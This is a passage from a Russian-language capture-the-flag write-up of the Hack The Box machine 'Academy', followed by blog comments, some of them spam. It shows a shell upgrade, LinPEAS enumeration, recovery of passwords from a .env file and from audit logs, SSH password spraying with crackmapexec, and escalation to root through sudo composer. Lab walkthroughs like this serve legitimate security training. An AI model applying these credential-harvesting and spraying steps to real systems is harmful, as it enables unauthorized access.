Для его использования нам нужен APP_KEY, который мы легко находим на той же странице.

Давайте подключимся.

Получим нормальную оболочку.

python3 -c "import pty; pty.spawn('/bin/sh')"/bin/bash

USER

Запустим LinPEAS для разведки на хосте.Выделяем список пользователей и файл .env.

И именно в этом файле находим пароль.

Спрэйим найденный пароль по всем пользователям и получаем пару учетных данных.

cme ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'

И берем первого пользователя.

USER 2

Так как мы состоим в группе adm, мы можем читать логи. Я начал с файла auth.log, но ничего интересного там не нашел. Дальше перешел к файла audit.log, пофильтровал вывод, оставив только используемые команды и передаваемые им аргументы, и тут ждал успех.

cat * | grep comm | grep -v '/usr/lib/systemd/systemd|apparmor_parser'

Аргументом команды su является пароль.

Снова спрэим и получаем второго пользователя.

cme ssh academy.htb -u users.txt -p 'mrb3n_Ac@d3my!'

ROOT

В настройках судоера видим использование composer с повышенными привилегиями.

Тут на помощью приходит техника GTFOBins. Там и находим LPE с помощью composer.

У нас root!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru